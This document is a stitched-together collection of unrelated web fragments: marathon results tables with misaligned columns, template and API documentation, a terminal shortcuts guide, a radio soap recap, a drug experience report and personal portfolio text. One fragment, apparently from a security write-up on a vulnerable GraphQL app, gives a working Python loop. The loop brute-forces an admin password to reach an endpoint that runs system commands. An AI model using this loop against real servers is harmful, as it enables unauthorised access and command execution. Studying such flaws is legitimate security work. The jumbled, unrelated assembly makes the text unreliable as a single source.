Auckland International Marathon
Auckland NZL
Website: www.aucklandmarathon.co.nz
Race Winners
(26 runnings)
2:41:56 2:45:51 2:49:55 2:46:47 28 Oct
2007
2:20:41
2:49:05
29 Oct
2006
2:17:43
2:50:47
30 Oct
2005
2:22:07
2:53:42
31 Oct
2004
2:16:50
2:41:58
02 Nov
2003
2:30:06
2:55:45
03 Nov
2002
2:32:50
2:53:14
28 Oct
2001
2:28:45
2:51:40
29 Oct
2000
2:24:58
2:45:42
24 Oct
1999
2:17:43
2:38:47
25 Oct
1998
2:24:51
2:44:52
26 Oct
1997
2:14:03
2:45:57
27 Oct
1996
2:20:32
2:39:03
22 Oct
1995
2:22:34
2:42:44
23 Oct
1994
2:27:41
2:50:52
24 Oct
1993
2:19:58
2:46:17
25 Oct
1992
2:16:32
2:39:41
Notes: 1992 was the inaugural year. This race has incorporated the
Auckland Championships for all years.
29 Oct
2017
2:24:14
Matthew Davy (NZL)
2:54:11
Hannah Oldroyd (ENG)
30 Oct
2016
2:20:36
Osaka Baynes (NZL)
2:47:45
Nicole Goldsmid (NZL)
01 Nov
2015
2:27:01
Aaron Pulford (NZL) (nc)
2:42:35
Katie Kemp (NZL) (nc)
02 Nov
2014
2:27:38
Stephen Lett (NZL)
2:47:42
Liza Hunter-Galvan (NZL)
03 Nov
2013
2:18:57
Samuel Wreford (NZL)
2:52:24
Kirsten Molloy (AUS)
28 Oct
2012
2:24:06
Rowan Walker (AUS) (nc)
2:41:29
Alexandra Williams (NZL) (nc)
30 Oct
2011
2:24:22
Dale Warrander-4
Lisa Robertson (NZL)
31 Oct
2010
2:19:22
Dale Warrander-3 (nc)
Shireen Crumpton (NZL) (nc)
01 Nov
2009
2:31:46
Rowan Hooper (NZL)
Jessica Ruthe (NZL)
02 Nov
2008
2:28:11
Ben Ruthe (NZL)
Ady Ngawati-2
Matt Smith (ENG)
Ady Ngawati (NZL)
Dale Warrander-2 (nc)
Tracey Clissold-2 (nc)
Philip Costley-4
Sharon Fitgerald (NZL)
Dale Warrander (NZL)
Tracey Clissold (NZL)
Scott Winton (NZL)
Nicole Cope (NZL)
Craig Burke (NZL)
Zelah Morrall (NZL)
Phillip Clode (NZL)
Bernardine Portenski-4
Mark Hutchinson-3 (nc)
Melissa Moon (NZL) (nc)
Philip Costley-3 (nc)
Gabrielle O'Rourke (NZL) (nc)
Mark Hutchinson-2 (nc)
Bernardine Portenski-3 (nc)
Philip Costley-2
Bernardine Portenski-2
Philip Costley (NZL) (nc)
Tracey Clissold-2 (nc)
Paul Herlihy (NZL)
Tracey Clissold (NZL)
Lucas Matlala (RSA)
Bernardine Portenski (NZL)
Kerry Rodger (NZL)
Raewyn Rodger (NZL)
Mark Hutchinson (NZL) (nc)
Anne Roden (ENG) (nc)
(nc) => New Zealand championship
2015 Kelly Parlane was the New
Zealand champion (2nd place, 2:52:33)
2012 Tony Payne was the New
Zealand champion (3rd place, 2:31:07)
1992 Lee-Ann McPhillips was the New
Zealand champion (2nd place, 2:40:00)
Most Wins
(1992-date)
Men
4
Philip Costley (NZL)
1996-97,1999,2005
Dale Warrander (NZL)
2004,2006,2010-11
Women
4
Bernardine Portenski (NZL)
1994,1997-98,2001
Prize Money (runners in ARRS database)
Year Men Women Total 2017 $7,525 $7,205 $13,725 2016 7,525 6,450 13,975 2015 7,075 7,075 14,150 2014 5,030 4,795 9,825 2013 4,340 4,095 8,435 2012 3,950 4,565 8,515 2011 4,435 4,310 8,745 2010 4,255 4,370 8,625 2009 3,600 3,240 6,840 2008 2,620 2,330 4,950 2007 3,465 3,465 6,930 2006 2,655 2,655 5,310 .... 1998 1,720 1,720 3,440 1997 1,280 n/a 1,280 Sums $58,470 $56,275 $114,725
Race Time Bias
(sec/km)
Insufficient data to compute the race time bias.
Competitive Level
(1990-date)
Insufficient data to compute the competitive level.
Quality Performances
Men <2:15 1 <2:16 1 <2:17 3 <2:18 5 <2:19 6 <2:20 10 Women <2:40 3 <2:42 7 <2:44 11 <2:46 16 <2:48 23 <2:50 32
Auckland has a long and varied history of marathons, often with two or three marathons being held within or in the vicinity of Auckland in any given year during the 1970's and early 1980's. By the late 1980's, these several competing marathons had passed away. Beginning in 1992, a single marathon has been held in Auckland (with minor exceptions) and constitutes the present series. Some of the more identifiable precursor series follow.
02 Jun
1991
2:24:02
2:55:55
03 Jun
1990
2:23:23
2:46:20
04 Jun
1989
2:18:28
2:46:35
Great Northern Marathon (Takanini) (3 runnings)
Paul Fey (NZL)
Erin Christie (NZL)
Robert Schuddeboom (NZL)
Marion MacDonald (NZL)
Murray Fleming (NZL)
Helen Moros (NZL)
|
22 Nov 1987 |
2:15:32 |
Peter Renner (NZL) (nc) |
2:39:33 |
Jillian Costley (NZL) (nc) |
|
16 Nov 1986 |
2:15:38 |
Rex Wilson (NZL) |
2:48:31 |
Bernardine Portenski (NZL) |
|
17 Nov 1985 |
2:11:32 |
Phil Coppess (USA) |
2:42:41 |
Hazel Stewart (NZL) |
|
18 Nov 1984 |
2:18:03 |
Don Greig (NZL) |
2:41:53 |
Yuko Gordon (HKG) |
|
20 Nov 1983 |
2:12:19 |
Peter Pfitzinger (USA) |
2:44:39 |
Eun-Joo Im (KOR) |
|
21 Nov 1982 |
2:17:01 |
Dick Quax (NZL) |
2:48:52 |
Mary Beasley (NZL) |
|
22 Nov 1981 |
2:12:11 |
Kevin Ryan (NZL) |
2:47:25 |
Christine Munro (NZL) |
|
23 Nov 1980 |
2:19:46 |
Paul Ballinger (NZL) |
2:44:59 |
Judith Hine (NZL) |
|
17 Nov 1979 |
2:23:22 |
John Robinson (NZL) |
3:07:00 |
Karen Petley (CAN) |
|
01 Feb 1986 |
2:12:36 |
Allan Zachariasen (DEN) |
2:36:58 |
Kersti Jakobsen-2 |
|
02 Feb 1985 |
2:16:43 |
Jeff Wells (USA) |
2:37:12 |
Kersti Jakobsen (DEN) |
|
04 Feb 1984 |
2:19:12 |
Paul Ballinger (NZL) |
2:56:36 |
Caroline Andrew-2 |
|
05 Feb 1983 |
2:20:10 |
Bruce Blair (NZL) |
3:02:48 |
Caroline Andrew (NZL) |
|
1982 |
--- |
not held |
--- |
not held |
|
08 Feb 1981 |
2:12:53 |
Dave Cannon (ENG) |
2:36:16 |
Allison Roe (NZL) |
|
03 Feb 1980 |
2:13:12 |
Dick Quax (NZL) |
2:31:23 |
Joan Samuelson (ME/USA) |
|
1979 |
--- |
not held |
--- |
not held |
|
12 Nov 1978 |
2:13:49 |
Ian Thompson (ENG) |
2:44:11 |
Gillian File-2 |
|
13 Nov 1977 |
2:02:24 |
Dave Chettle (AUS) |
2:42:01 |
Gillian File (NZL) |
|
06 Mar 1976 |
2:16:27 |
Jack Foster (NZL) | ||
|
1975 |
--- |
not held | ||
|
02 Mar 1974 |
2:28:47 |
Ivan Keats (NZL) | ||
|
28 Jan 1973 |
2:23:52 |
Jeff Julian-6 | ||
|
22 Jan 1972 |
2:26:34 |
Danny Warden (NZL) | ||
|
06 Feb 1971 |
2:23:38 |
Mike Whelan (NZL) | ||
|
31 Jan 1970 |
2:25:52 |
Bill Baillie (NZL) | ||
|
01 Feb 1969 |
2:26:37 |
Jeff Julian-5 | ||
|
03 Feb 1968 |
2:30:35 |
Jeff Julian-4 | ||
|
04 Feb 1967 |
2:22:14 |
Pat Sale (NZL) | ||
|
19 Feb 1966 |
2:23:19 |
Jeff Julian-3 | ||
|
20 Feb 1965 |
2:26:28 |
Raymond Puckett-3 | ||
|
15 Feb 1964 |
2:19:58 |
Jeff Julian-2 | ||
|
16 Feb 1963 |
2:18:25 |
Jeff Julian (NZL) | ||
| 10 Feb 1962 | 2:24:55.4 | Barry Magee-2 | ||
| 11 Feb 1961 | 2:26:17 | Barry Magee (NZL) | ||
| 06 Feb 1960 | 2:24:54 | Raymond Puckett-2 | ||
| 07 Feb 1959 | 2:29:16 | Richard Chase (NZL) | ||
| 08 Feb 1958 | 2:33:51 | Raymond Puckett (NZL) | ||
| 1957 | --- | n/a | ||
| 18 Feb 1956 | 2:33:25 | J Ross Rawnsley (NZL) |
Pasta/Auckland Marathon
(2 runnings)
29 May
1983
2:14:50
2:48:10
30 May
1982
2:11:21
2:44:37
Notes: In 1982, the organizing group that conducted the Auckland Marathon moved their race to May and renamed it
the Pasta International Marathon which lasted for just two years (the name lasted just one year). In 1983, a different
organizing group resumed the Auckland Marathon series in February.
Alain Lazare (NCL)
Robin Hames-2
Rod Dixon (NZL)
Robin Hames (NZL)
Reidbuilt-Calliope Marathon (16 runnings)
23 Aug
1980
2:24:07
---
25 Aug
1979
2:29:55
3:18:58
26 Aug
1978
2:26:53
---
27 Aug
1977
2:29:18
---
30 Aug
1976
2:28:45
n/a
02 Aug
1975
2:28:31
03 Aug
1974
2:30:40
11 Aug
1973
2:23:25
12 Aug
1972
2:30:41
14 Aug
1971
2:24:51
23 Aug
1970
2:23:27
1969
2:23:42
1968
2:26:12
13 Aug
1967
2:22:10
1966
2:27:23
14 Aug
1965
2:21:28
Notes: 1965 was the inaugural year. The 1965 race was known as the Calliope Club Open Marathon.
The 1975 thru 1980 races served as the Auckland Championships.


{% extends "layout.html" %} {% block page_title %} Apprenticeships {% endblock %} {% block content %} {% include "includes/phase_banner_beta.html" %} Back to profile Confirm organisation Organisation name Red & White Holdings Ltd Companies House number 0736876 Is this the correct organisation? Yes, continue No, search again {% endblock %}


Below is the example taken from ArcGIS For Developers website: Create a scale-dependent visualization text


Home
Code Academy
HTML
CSS
Front-End Program
My Websites
List of Capital Cities
My Website
My Website "Almost Solo"
Finish Project
Project Aplikacija
My FB Log Page
Projects in Progress
Portfolio
My Website


Getting started with Message Statistics is easy! Just add @MessageStatisticsBot to any group chat on Telegram and we'll take care of the rest!


First Gen pokemon
Image
Name
Type
Evolves Into
Bulbasaur
Grass/Poison
Ivysaur
Charmander
Fire
Charmeleon
Squirtle
Water
Wartortle


At Bitfinex we stand by the integrity of our platform and the tokens we make available to our users. We do not charge listing fees, nor do we give preferential fees to any projects, traders or market makers. To discuss a listing on Bitfinex, please contact listings@bitfine...


The query systemDiagnostics is an administrative functionality that allows running a subset of system
commands on the server. The query is governed by a username and password before processing the
command.
The password is weak, and the server has no rate limiting protections. This allows attackers to easily conduct brute
force attacks against the server.
# Brute Force attack with a list of passwords:
passwordlist = ['admin123', 'pass123', 'adminadmin', '123']
for password in passwordlist:
resp = requests.post('http://host/graphql',
json = {
"query":"query {\n systemDiagnostics(username:\"admin\", password:\"{}\", cmd:\"ls\")\n}".format(password),
"variables":None
})
if not 'errors' in resp.text:
print('Password is', password)


{% extends 'base.html' %} {% block title %} Fidele Books - Explore your favorite book {% endblock title %} {% load static %} {% load ratings %} {% block content %}
Fidel Books is a Platform that allows you to connect with other like minded readers, swap books, discuss, comment and review books.
Find your favorite book.Improve recommendations by adding books to your booklist and rating books.
{% include 'snippets/recommendation.html' %}


Contact
https://twitter.com/JoelRajesh13
https://github.com/joelshejar
https://twitter.com/narendrapalach1
https://github.com/palacharlanarendra
https://twitter.com/NarasimhuluV7
https://github.com/Narasimhuluv
https://twitter.com/SohailS24733102
https://github.com/sohailshaik8328
Copyright ©2084 Company Download Me


Cardiology and
Cardiac Surgery
Oxford General Medical Center
Add to Watch List
Share Profile
14k
Visits
75k
Physicians
10k
Complaints
11k
Diagnosis
Go to Map
Go to Constellation
{{tab.text}}
More
this text should not be seen.


Avoid using &, < and > symbols in your questions as these get misinterpreted by the browser:
For example:
Write down all inter values of \(x\) such that \( x \lt 7 & x \gt 3 \).
Appears as:
Write down all inter values of \(x\) such that \( x \lt 7 & x \gt 3 \).
To create multiple question parts use manually typesetting. Do not include main question numbers as these will be added when the questions are selected for printing:
For example:
This is a question:
a) part a
b) part b
Appears as:
This is a question:
a) part a
b) part \( x^2-4x+3=0 \)


iTerm2 is one of the best terminal emulators for macOS. But to appreciate its full power you should know how to use it effectively. Here are shortcuts that I find indispensable while working with iTerm2.
Working with panes
Command + D
- Split verticallyCommand + Shift + D
- Split horizontally-
Command + W
- Close pane Command + Option + Arrows
- Navigate between panesControl + Command + Arrow
- Resize current pane-
Command + Shift + Enter
- Maximize current pane / Restore its original size Command + K
- Clear current pane (this one comes with bash/zsh and also works on Linux)
Text editing
Control + A
- Go to the beginning of line-
Control + E
- Go to the end of line Option + Delete
- Delete one worldCommand + Delete
- Delete entire line
Consider enabling “Natural Text Editing”
if you want to use Option + Left/Right Arrow
for
one word forward/backward navigation instead of
awkward Control+] F
/ Esc F
(Escape followed by F for forward or
B for backward).
Enabling Natural Text Editing
Press Command + ,
to open Preferences dialog:
Go to the Profiles tab.
Create a copy of your current profile by choosing Other actions… dropdown at the bottom of the profile list and selecting Duplicate profile menu option. Then go to Keys -> Presets… and choose “Natural Text Editing”: Set your newly created profile as Default: Now your new profile should have a star prior to its name.
Scrolling
Fn + Shift + Up Arrow
- Page UpFn + Shift + Down Arrow
- Page Down
On external keyboard Shift + Page Up/Down
will work too.
Tabs
Command + T
- Create new tabCommand + <num>
- Move tonum
th tab e.g.Command + 3
Command + Left/Right arrow
- Move to left/right tabCommand + Option + W
- Close tab
Add the following function to your ~/.profile
:
Then you can use title foo
to set iTerm2 tab title.
iTerm2 Window
Command + Enter
- Enter / Leave full screen modeCommand + ,
- Show preferences
History search
Control + R
- Start history search (fuzzy search)Control + R
- Move to the next suggestion
Oh my ZSH provides a better history management
based on up and down arrows. If you don’t want to install Oh my ZSH, you may emulate
this behavior in ZSH by adding these lines to your .zshrc
:
# make search up and down work, so partially type and hit up/down to find relevant stuff
bindkey '^[[A' up-line-or-search
bindkey '^[[B' down-line-or-search
(thanks to github.com/ghprince user).
Now you just write the command beginning e.g. vim
and then you can cycle though all
completions based on the command history, using up and down arrows.
Other
- I highly recommend using ZSH with Oh my ZSH bundle. Check this amazing post that summarizes most useful ZSH features.
Command + ,
- Open graphical autocomplete menu in iTerm2- Use
open URL
command to open given file in MacOS e.g.open 'https://google.com'
oropen .
to open current directory in Finder - Use
pbcopy
to copy command output to the system clipboard e.g.echo foo | pbcopy


Investigator Sally:
There you are! I finished the analysis, and the results are good. You'll live! Basically. No need for an antidote or anything.
I eat various medicinal plants all the time. For research purposes only, of course. Want me to tell you about what these ones do?
Fantasy Mushroom
Sticky Mushroom
Energy Plants
Say that you don't care.


WWE cancels tonight's episode of 205 Live
by Gary CassidyWWE have announced that tonight's scheduled airing of 205 Live has been cancelled, and confirmed that the WWE Network will instead show a repeat of this week's episode of NXT following SmackDown instead.
The official statement was released less than four hours before SmackDown takes place live from Chicago, and less than six hours before 205 Live would have been scheduled to air live on the WWE Network.
No reason for the cancellation has been given thus far.
The statement was then released in an identical format across the WWE Network and 205 Live Twitter accounts, too. The comment section, predominantly on the 205 Live Twitter account, has been met with disappointment and several fans calling for the show to permanently move to Full Sail - the home of NXT.
WWE NXT Cruiserweight Champion Lio Rush tweeted out just minutes before the initial announcement, stating that "The Cruiserweight division deserves better" before quoting WWE Network's tweet about the cancellation and adding a thumbs down emoji.
What do you think is next for the Purple brand? Let us know in the comments section below.
Now you can rate every match from WWE RAW, SmackDown and every pay-per-view on Sportskeeda !


- range(String) - Static method in class com.github.privacystreams.commons.statistic.StatisticOperators
-
Calculate the range of the number values of a field in the stream.
- recent(String, Long) - Static method in class com.github.privacystreams.commons.time.TimeOperators
-
Check whether the timestamp field value of a field is recent from now (less than a given duration).
- record(long) - Static method in class com.github.privacystreams.audio.Audio
-
Provide an Audio item.
- recordPeriodic(long, long) - Static method in class com.github.privacystreams.audio.Audio
-
Provide a live stream of Audio items.
- reduce(Item, Item) - Method in class com.github.privacystreams.core.transformations.reduce.Reducer
-
- Reducer - Class in com.github.privacystreams.core.transformations.reduce
-
Reduce two items to one item.
- Reducer() - Constructor for class com.github.privacystreams.core.transformations.reduce.Reducer
-
- Reducers - Class in com.github.privacystreams.core.transformations.reduce
-
A helper class to access reducer functions
- Reducers() - Constructor for class com.github.privacystreams.core.transformations.reduce.Reducers
-
- register(Function<? extends Stream, ?>) - Method in class com.github.privacystreams.core.Stream
-
Register a function to current stream.
- removeFromWaitingList(UQI, Set<String>) - Static method in class com.github.privacystreams.utils.DropboxUtils
-
- Reorders - Class in com.github.privacystreams.core.transformations.reorder
-
A helper class to access reorder functions.
- Reorders() - Constructor for class com.github.privacystreams.core.transformations.reorder.Reorders
-
- replace(String, String, String) - Static method in class com.github.privacystreams.commons.string.StringOperators
-
Replace a substring to a new string in the string value of a field.
- REQUEST_CODE - Static variable in class com.github.privacystreams.utils.permission.PermissionActivity
-
- requestPermissionAndEvaluate(UQI, Function<Void, Void>) - Static method in class com.github.privacystreams.utils.permission.PermissionUtils
-
try request permission and evaluate UQI
- RESEARCH(String) - Static method in class com.github.privacystreams.core.purposes.Purpose
-
Research purpose.
- reverse() - Method in class com.github.privacystreams.core.MStream
-
Reverse the order of items
reverse()
will reverse the order of the items in the stream.
- reverse() - Method in interface com.github.privacystreams.core.MStreamInterface
-
Reverse the order of items
reverse()
will reverse the order of the items in the stream.
- reverse() - Static method in class com.github.privacystreams.core.transformations.reorder.Reorders
-
Reverse the order of the items in stream.
- ROOT_VIEW - Static variable in class com.github.privacystreams.accessibility.BaseAccessibilityEvent
-
The root view of current event, which is an instance of AccessibilityNodeInfo.
- roundDown(String, Number) - Static method in class com.github.privacystreams.commons.arithmetic.ArithmeticOperators
-
Round down a number.
- roundUp(String, Number) - Static method in class com.github.privacystreams.commons.arithmetic.ArithmeticOperators
-
Round up a number.
- RSSI - Static variable in class com.github.privacystreams.device.WifiAp
-
The RSSI.


Somegood.org
Mon, Aug 25, 2014Let’s think about education for a minute.
Public schooling is an investment in future income tax returns. (It should be a broader investment in societal good, but for the moment let’s treat the state as a self-interested actor.)
The average US state spends $10,608 a year to educate young people. (With a range from $6K to $19K).
Over 13 years, that’s $137,904.
Median income over the age of 18 is $24,062. Over the age of 25, it’s $32,140 (Minimum wage is $15,080).
Regardless of the federal income tax, however, there is a large proportion of the income to the government that is earned from payroll taxes on this labour. Additionally, corporate income tax is accrued to the benefit of this additional labour force.
Altogether, we can estimate that at the average income level, these new graduates will produce $4,900 per year in tax revenue.
Ignoring black shoals for a moment, it will take the first 26 years to pay back the investment we have made.
Assuming 47 years of work (until 65), the next 21 years should net another $100k, for an annualized return of 1.184%
However, if we could drive that median income up to $50k… That’s an extra 1.2M earned in that worker’s lifetime. And an extra $237K (ish) in taxes paid, for a return of 2.671%
$200 a month of your new income, for 2 years.
http://www.infoplease.com/spot/momcensus1.html
Follow Canada’s example - educate Single Mothers and help them find employment, http://www.cbc.ca/news/canada/more-canadian-single-dads-head-rise-in-lone-parent-families-1.1290201 http://www.dinkytown.net/java/AnnualReturn.html http://pgpf.org/budget-explainer/taxes http://www.justfacts.com/taxes.asp http://en.wikipedia.org/wiki/Personal_income_in_the_United_States http://www.nationmaster.com/country-info/stats/Education/Spending-per-secondary-school-student http://www.washingtonpost.com/news/post-nation/wp/2014/05/23/heres-how-much-each-state-spends-on-public-school-students/ http://epsl.asu.edu/epru/documents/EPSL-0508-116-EPRU.pdf
http://www.businessinsider.com/facts-you-dont-want-to-know-iq-2011-11?op=1 http://infosthetics.com/archives/2011/10/the_atlas_of_economic_complexity_visualizing_global_economic_growth.html
Could we increase general IQ?
http://en.wikipedia.org/wiki/Flynn_effect http://en.wikipedia.org/wiki/G_factor_(psychometrics)
- 5g of creatine a day
- Do puzzles
- Play Scrabble
- Play Video Games (FPS)
- Cardio training -
http://anepigone.blogspot.ca/2011/01/average-iq-by-occupation-estimated-from.html http://en.wikipedia.org/wiki/Project_100,000 http://en.wikipedia.org/wiki/Intelligence_and_public_policy
https://www.dor.ca.gov/Online/DR-222/Online-V-R-Services-Application.html http://work.chron.com/job-finding-people-low-iq-28121.html
http://www.bls.gov/news.release/famee.t06.htm
http://anepigone.blogspot.ca/2011/01/average-iq-by-occupation.html
USE Income Share Agreements! June 2014: http://online.wsj.com/articles/the-weekend-interview-escaping-the-student-debt-trap-1402699281
Reinvent professional education (again)
Solo attempts: - http://www.thecreditsolutionprogram.com/teen-sells-10-of-her-future-income-for-125000/ - http://prezi.com/o86hegjiuozy/acs-first-upstart/ - http://www.theverge.com/2013/2/26/4031938/new-crowdfunding-platforms-let-you-sell-stock-in-yourself
Lumni Upstart Pave http://www.cumulusfunding.com/ http://en.wikipedia.org/wiki/Human_Capital_Contract
3% for 5 years (Lumni basis)
HUMAN CAPITAL CONTRACT IN BITCOINS
Open Source Micro-finance using HCCs
http://timreview.ca/article/402 - Mifos Advisor: Adam Feuer Adam Feuer is Director of Engineering at Grameen Foundation’s Mifos Initiative. He founded the network scalability solution provider F5 Networks, the internet service provider IXA (now part of Savvis Networks), and helped launch Amazon’s grocery delivery business Amazon Fresh. He specializes in mission-critical business applications built using open source software and Agile methodologies. His passion is creating great teams to solve difficult problems.
https://mifosforge.jira.com/wiki/display/MIFOS/Mifos+Cloud+Foundry+Package http://www.openmf.org/who-we-are/our-story/
Grameen Foundation


Toggle navigation
Menu
Electrical Certificate
EPC
PAT
Projects
About Us
Testimonials
Contact
Essex
Your browser does not support the video tag.
Your browser does not support the video tag.
×


 Made the tea, drank it, waited approx. 3 minutes, took my melatonin. the tea itself even going down the throat is calming, even I've discovered it's meant to be a stimulant. The going up on the tea was really really smooth, and enjoyable as I felt content accepting understanding and overall great. Peaking on the tea the melatonin tabs started working. Melatonin relaxed me and give me the ability to sleep when I wish but didnít knock me out.
I kid you not I fell asleep fast I slept through the night for the first time in months! I woke the next morning and arose very easily and was ready to take on my day with a great big smile(like the actual yerba mate box actually suggested).
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


---
layout: blog
title: Mon journal
permalink: /mon-journal/
pagination:
enabled: true
image: /assets/logo-pampam-reseaux.jpg
---
Mon journal
{% include_cached blockquote.html %}
{% for post in paginator.posts %}
{% include_cached horizontal-post-card.html %}
{% endfor %}


Package com.jme.network.service.rpc
Class RpcConnection
- java.lang.Object
-
- com.jme.network.service.rpc.RpcConnection
-
public class RpcConnection extends java.lang.Object
Wraps a message connection to provide RPC call support. This is used internally by the RpcClientService and RpcHostedService to manage network messaging.- Author:
- Paul Speed
-
-
Constructor Summary
Constructors Constructor Description RpcConnection(MessageConnection connection)
Creates a new RpcConnection for the specified network connection.
-
Method Summary
All Methods Instance Methods Concrete Methods Modifier and Type Method Description java.lang.Object
callAndWait(byte channel, short objId, short procId, java.lang.Object... args)
Performs a remote procedure call with the specified arguments and waits for the response.void
callAsync(byte channel, short objId, short procId, java.lang.Object... args)
Performs a remote procedure call with the specified arguments but does not wait for a response.void
close()
Clears any pending synchronous calls causing them to throw an exception with the message "Closing connection".void
handleMessage(RpcCallMessage msg)
Called internally when an RpcCallMessage is received from the remote connection.void
handleMessage(RpcResponseMessage msg)
Called internally when an RpcResponseMessage is received from the remote connection.void
registerHandler(short objId, RpcHandler handler)
Register a handler that can be called by the other end of the connection using the specified object ID.void
removeHandler(short objId, RpcHandler handler)
Removes a previously registered handler for the specified object ID.protected void
send(byte channel, RpcResponseMessage msg)
-
-
-
Constructor Detail
-
RpcConnection
public RpcConnection(MessageConnection connection)
Creates a new RpcConnection for the specified network connection.
-
-
Method Detail
-
close
public void close()
Clears any pending synchronous calls causing them to throw an exception with the message "Closing connection".
-
callAndWait
public java.lang.Object callAndWait(byte channel, short objId, short procId, java.lang.Object... args)
Performs a remote procedure call with the specified arguments and waits for the response. Both the outbound message and inbound response will be sent on the specified channel.
-
callAsync
public void callAsync(byte channel, short objId, short procId, java.lang.Object... args)
Performs a remote procedure call with the specified arguments but does not wait for a response. The outbound message is sent on the specified channel. There is no inbound response message.
-
registerHandler
public void registerHandler(short objId, RpcHandler handler)
Register a handler that can be called by the other end of the connection using the specified object ID. Only one handler per object ID can be registered at any given time, though the same handler can be registered for multiple object IDs.
-
removeHandler
public void removeHandler(short objId, RpcHandler handler)
Removes a previously registered handler for the specified object ID.
-
send
protected void send(byte channel, RpcResponseMessage msg)
-
handleMessage
public void handleMessage(RpcCallMessage msg)
Called internally when an RpcCallMessage is received from the remote connection.
-
handleMessage
public void handleMessage(RpcResponseMessage msg)
Called internally when an RpcResponseMessage is received from the remote connection.
-
-


Hello! My name is Dylan. I am a software developer currently living in Louisville, KY. I am very passionate about programming and front end development.
I am a University of Kentucky graduate with a Bachelor of Science in Computer Science. While attending at the University I worked in the Department of Statistics assisting grad students with gathering data by scraping the web heavily using regular expressions so that they could do analysis. I also worked on developing interactive front end web applications using R with RStudio and Shiny.
I currently work for UPS as a front end developer creating web apps using Angular.
Aug 2013 - Dec 2016
Bachelor Of Science - Computer Science
This is my primary education. While attending here the primary languages that was used in most of my classes were C++ and Python. However when I was learning 3-D we used Java. Of course any front end experience I gained in school was JavaScript with some use of frameworks, mostly Bootstrap and JQuery.
Jan 2016 - Present
Applications Developer
In the time I have been here I have developed, from scratch, a health monitor for our main application, which used multi-threading techniques, using C# and WPF that is still used daily to check the health of the system. I also developed, from scratch, a front end web application written in Typescript using the Angular framework. I taught myself how to use Angular to develop a completely new application meant to replace a current deprecated application. This application utilized mapping software integrated into Angular application to plot all UPS equipment available in the US for use out in the operation. On top of this I taught newly added developers on team how to use Angular.
June 2015 – Dec 2016
Department IT, System Admin, and Programmer
While working here I used system administration tools such as PDQ Deploy and PDQ Inventory to remotely update and keep track of all student, professor, and TA computers in the department. I also made various scripts and programs that assisted graduates and the department get data they needed for their own projects. I also used tools such as Shiny for R to plot the data obtained.


The Archers catch up: Leonard wants to propose to Jill, but has he got it wrong?
The subject on everyone’s lips – well, David’s anyway – is Leonard’s proposal to Jill.
She seemingly dropped a few hints at the end of last week – saying that she had yearned to become her late husband’s wife when they were dating, so that he became her husband, not his former wife’s.
Keen bean Leonard takes this as ironclad evidence Jill wants him to propose to her.
‘I was happy with things the way they were,’ he tells an incredibly awkward David, as he asks for his blessing with his trousers round his ankles and cow pat up his legs. ‘But I’m quite sure Jill wants to get married.’
Of course, there is one way to find out without actually having to ask her cold – subtly ask Jill if she’d like to marry again some day. But that wouldn’t be as dramatic, would it – so it’s Leonard to the slaughter.
Advertisement Advertisement
Has he got the wrong end of the stick? Yes – it turns out he has.
David spends the week getting his knickers in a twist about his mum remarrying – after all, he has been gibbering if Leonard does up his mum’s buttons or cooks her a casserole – let alone proposes marriage.
As one fan wrote on the Archers Appreciation Facebook group, why can’t David just say, ‘”That’s fine Leonard, I’m very happy for you”, and stop being the oldest snowflake in town?
David finally tells Elizabeth it’s because he doesn’t want Leonard to replace their dad.
When he finally works through his issues and gives Leonard his blessing, he galumphs into Jill and blows the surprise.
Jill isn’t as horrified as we suspected she might be – but she did confirm Leonard had misinterpreted her reminiscing.
Nonetheless, looks like it’s time to buy a hat!
Over to the Grundys and Alf tries to slip off without saying goodbye – but Eddie intercepts him and invites him to stay for Christmas. They’re family, after all, he says.
Alf is not for turning and heads off – a lone wolf, Eddie tells Ed and Will when they ask where he’s gone. Did you check the valuables, Ed asks – but Eddie’s not amused.
Lily is in a huge stew after she told Johnny she saw Bella snogging another man in The Bull – only for Johnny to turn on her and call her a homewrecker.
Advertisement Advertisement
Russ manages to squeeze it out of her and is outraged on her behalf.
As for Johnny, he’s putting brave face on it. He doesn’t want to jeopardise his relationship with Bella and if that means burying his head in the sand, so be it.
Talking of relationships, Tracey might be about to get into one. She and Emma go to the Grey Gables theatre meal she’d brought in for Oliver – and one of the actors makes eyes at her during the performance.
Harrison plays wingman and escorts Tracey over to speak to the man – called Roman – but turns out to be the worst at the role, lingering around when they’re trying to flirt and not getting the hint.
Eventually, Emma comes along and practically drags the third wheel off home, leaving Tracey to get on the pull, as she’d put it.
Finally, in news that surprises everyone, Justin is enthusiastic about the rewilding!
Phoebe and the gang are pitching to the board on Tuesday. Finally some enthusiasm. Let the howling wolves come to Ambridge…


I am self driven and detail-oriented. Passionate about coding, learning new tech, helping others and advocate for diversity and inclusivity.
The path from dreams to success does exist. May you have the vision to find it, the courage to get on to it, and the perseverance to follow it.


color hex string
Returns the user ID of the user the bot is logged in as.
the user ID
Returns chat history for the thread indicated by threadId.
The thread ID
The amount of messages to request
Used to describe the time of the most recent message to load. If timestamp is undefined, facebook will load the most recent messages.
promise with array of messages
Returns info about the thread.
promise with info object
Given the full name or vanity name of a Facebook user, event, page, group or app, the call will perform a Facebook Graph search and return all corresponding IDs (order determined by Facebook).
Returns info about the user(s) by their id(s).
promise with info object
Handles the message request for the specified thread ID.
whether to accept the request
Marks the thread as read.
Resolves the URL to the full-size photo, given its ID. This function is useful for retrieving the full-size photo URL of image attachments in messages, returned by getThreadHistory.
Sends a message.
the thread ID
plain string message or message object
promise with message object representing the sent message
Sends a typing indicator.
promise with a function that ends the typing indicator when called
Sets a reaction to a message.
the message ID
the reaction
Generated using TypeDoc
Changes the chat's color.
2.0.0


This is a webapp version of our online diary. It has much to offer to ensure our users get the same experience at enhanced features. It works offline so the user does not have to worry about not being online to use it, has reminders and many other great features. Just accept the installation request and it will be only a click away.
The finitecreations-onlineDiary is an online diary and journal for keeping your own records


Managing Contrast & Accessibility
@function contrast()
For any color, select the best contrast among a set of options.
For best results, pass in a combination of light and dark colors
to contrast against –
or define default contrast-light
and contrast-dark
values
in your global $colors
map.
Parameters & Return
$color: (string | list)
The name or value of a color.
$options: #000, #fff (arglist)
Two or more colors to contrast against.
This function will choose the best contrast of all the options provided,
or the contrast-light
and contrast-dark
defaults
if they are defined in your color palette,
otherwise white
and black
are the default options.
@return (color)
Whichever color-option has the highest contrast-ratio to $color
.
@error
Provide at least two contrasting color options for contrast()
Examples
$background: #333;
html {
background: $background;
color: contrast($background);
}
html {
background: #333;
color: #fff;
}
$background: #333;
html {
background: $background;
